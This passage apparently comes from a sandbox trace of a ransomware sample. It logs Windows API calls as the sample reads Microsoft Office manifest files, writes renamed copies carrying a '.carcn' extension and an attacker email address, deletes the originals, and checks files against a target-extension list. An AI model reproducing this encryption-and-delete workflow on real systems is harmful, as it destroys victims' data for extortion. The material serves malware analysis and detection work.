Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0181.715] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.715] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.715] GetLastError () returned 0x0 [0181.715] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x573e5, lpOverlapped=0x0) returned 1 [0181.895] WriteFile (in: hFile=0x388, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x573f0, lpOverlapped=0x0) returned 1 [0181.901] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.901] WriteFile (in: hFile=0x388, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.901] SetEndOfFile (hFile=0x388) returned 1 [0181.904] CloseHandle (hObject=0x388) returned 1 [0181.913] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.913] SetEndOfFile (hFile=0x31c) returned 1 [0181.916] CloseHandle (hObject=0x31c) returned 1 [0181.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0181.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.929] lstrlenW (lpString=".doc") returned 4 [0181.929] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.929] lstrlenW (lpString=".docx") returned 5 [0181.929] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.929] lstrlenW (lpString=".pdf") returned 4 [0181.929] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.929] lstrlenW (lpString=".xls") returned 4 [0181.929] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.929] lstrlenW (lpString=".xlsx") returned 5 [0181.929] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.929] lstrlenW (lpString=".ppt") returned 4 [0181.929] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.929] lstrlenW (lpString=".zip") returned 4 [0181.929] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.929] lstrlenW (lpString=".rar") returned 4 [0181.929] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.929] lstrlenW (lpString=".bz2") returned 4 [0181.929] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString=".7z") returned 3 [0181.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.930] lstrlenW (lpString=".dbf") returned 4 [0181.930] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.930] lstrlenW (lpString=".1cd") returned 4 [0181.930] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.930] lstrlenW (lpString=".jpg") returned 4 [0181.930] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.930] lstrlenW (lpString=".doc") returned 4 [0181.930] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString=".docx") returned 5 [0181.930] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.930] lstrlenW (lpString=".pdf") returned 4 [0181.930] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString=".xls") returned 4 [0181.930] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString=".xlsx") returned 5 [0181.930] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.930] lstrlenW (lpString=".ppt") returned 4 [0181.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.930] lstrlenW (lpString=".zip") returned 4 [0181.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.930] lstrlenW (lpString=".rar") returned 4 [0181.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.930] lstrlenW (lpString=".bz2") returned 4 [0181.931] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.931] lstrlenW (lpString=".7z") returned 3 [0181.931] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.931] lstrlenW (lpString=".dbf") returned 4 [0181.931] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.931] lstrlenW (lpString=".1cd") returned 4 [0181.931] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0181.931] lstrlenW (lpString=".jpg") returned 4 [0181.931] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.931] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.931] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0181.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0181.937] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0181.937] CloseHandle (hObject=0x394) returned 1 [0181.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0181.937] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.937] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.938] GetLastError () returned 0x0 [0181.938] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0182.135] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0182.136] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.136] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.136] SetEndOfFile (hFile=0x364) returned 1 [0182.136] CloseHandle (hObject=0x364) returned 1 [0182.137] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.137] SetEndOfFile (hFile=0x394) returned 1 [0182.138] CloseHandle (hObject=0x394) returned 1 [0182.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0182.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.138] lstrlenW (lpString=".doc") returned 4 [0182.138] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.138] lstrlenW (lpString=".docx") returned 5 [0182.139] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.139] lstrlenW (lpString=".pdf") returned 4 [0182.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString=".xls") returned 4 [0182.139] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString=".xlsx") returned 5 [0182.139] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.139] lstrlenW (lpString=".ppt") returned 4 [0182.139] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.139] lstrlenW (lpString=".zip") returned 4 [0182.139] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.139] lstrlenW (lpString=".rar") returned 4 [0182.139] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString=".bz2") returned 4 [0182.139] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString=".7z") returned 3 [0182.139] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.139] lstrlenW (lpString=".dbf") returned 4 [0182.139] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.139] lstrlenW (lpString=".1cd") returned 4 [0182.139] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.139] lstrlenW (lpString=".jpg") returned 4 [0182.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.139] lstrlenW (lpString=".doc") returned 4 [0182.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.139] lstrlenW (lpString=".docx") returned 5 [0182.139] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.139] lstrlenW (lpString=".pdf") returned 4 [0182.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString=".xls") returned 4 [0182.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString=".xlsx") returned 5 [0182.140] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.140] lstrlenW (lpString=".ppt") returned 4 [0182.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.140] lstrlenW (lpString=".zip") returned 4 [0182.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.140] lstrlenW (lpString=".rar") returned 4 [0182.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString=".bz2") returned 4 [0182.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString=".7z") returned 3 [0182.140] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.140] lstrlenW (lpString=".dbf") returned 4 [0182.140] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.140] lstrlenW (lpString=".1cd") returned 4 [0182.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0182.140] lstrlenW (lpString=".jpg") returned 4 [0182.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.140] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.140] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0182.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0182.141] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3754) returned 1 [0182.141] CloseHandle (hObject=0x394) returned 1 [0182.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0182.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0182.141] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.141] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0182.141] GetLastError () returned 0x0 [0182.141] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xeaa, lpOverlapped=0x0) returned 1 [0182.185] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0182.185] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.186] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.186] SetEndOfFile (hFile=0x364) returned 1 [0182.186] CloseHandle (hObject=0x364) returned 1 [0182.186] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.186] SetEndOfFile (hFile=0x394) returned 1 [0182.187] CloseHandle (hObject=0x394) returned 1 [0182.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0182.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.188] lstrlenW (lpString=".doc") returned 4 [0182.188] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".docx") returned 5 [0182.188] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.188] lstrlenW (lpString=".pdf") returned 4 [0182.188] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".xls") returned 4 [0182.188] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".xlsx") returned 5 [0182.188] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.188] lstrlenW (lpString=".ppt") returned 4 [0182.188] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.188] lstrlenW (lpString=".zip") returned 4 [0182.188] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.188] lstrlenW (lpString=".rar") returned 4 [0182.188] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".bz2") returned 4 [0182.188] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".7z") returned 3 [0182.188] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.188] lstrlenW (lpString=".dbf") returned 4 [0182.188] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.188] lstrlenW (lpString=".1cd") returned 4 [0182.188] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.189] lstrlenW (lpString=".jpg") returned 4 [0182.189] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.189] lstrlenW (lpString=".doc") returned 4 [0182.189] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".docx") returned 5 [0182.189] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.189] lstrlenW (lpString=".pdf") returned 4 [0182.189] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".xls") returned 4 [0182.189] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".xlsx") returned 5 [0182.189] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.189] lstrlenW (lpString=".ppt") returned 4 [0182.189] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.189] lstrlenW (lpString=".zip") returned 4 [0182.189] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.189] lstrlenW (lpString=".rar") returned 4 [0182.189] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".bz2") returned 4 [0182.189] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".7z") returned 3 [0182.189] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.189] lstrlenW (lpString=".dbf") returned 4 [0182.189] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.189] lstrlenW (lpString=".1cd") returned 4 [0182.189] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString="C:\\Program Files\\Microsoft 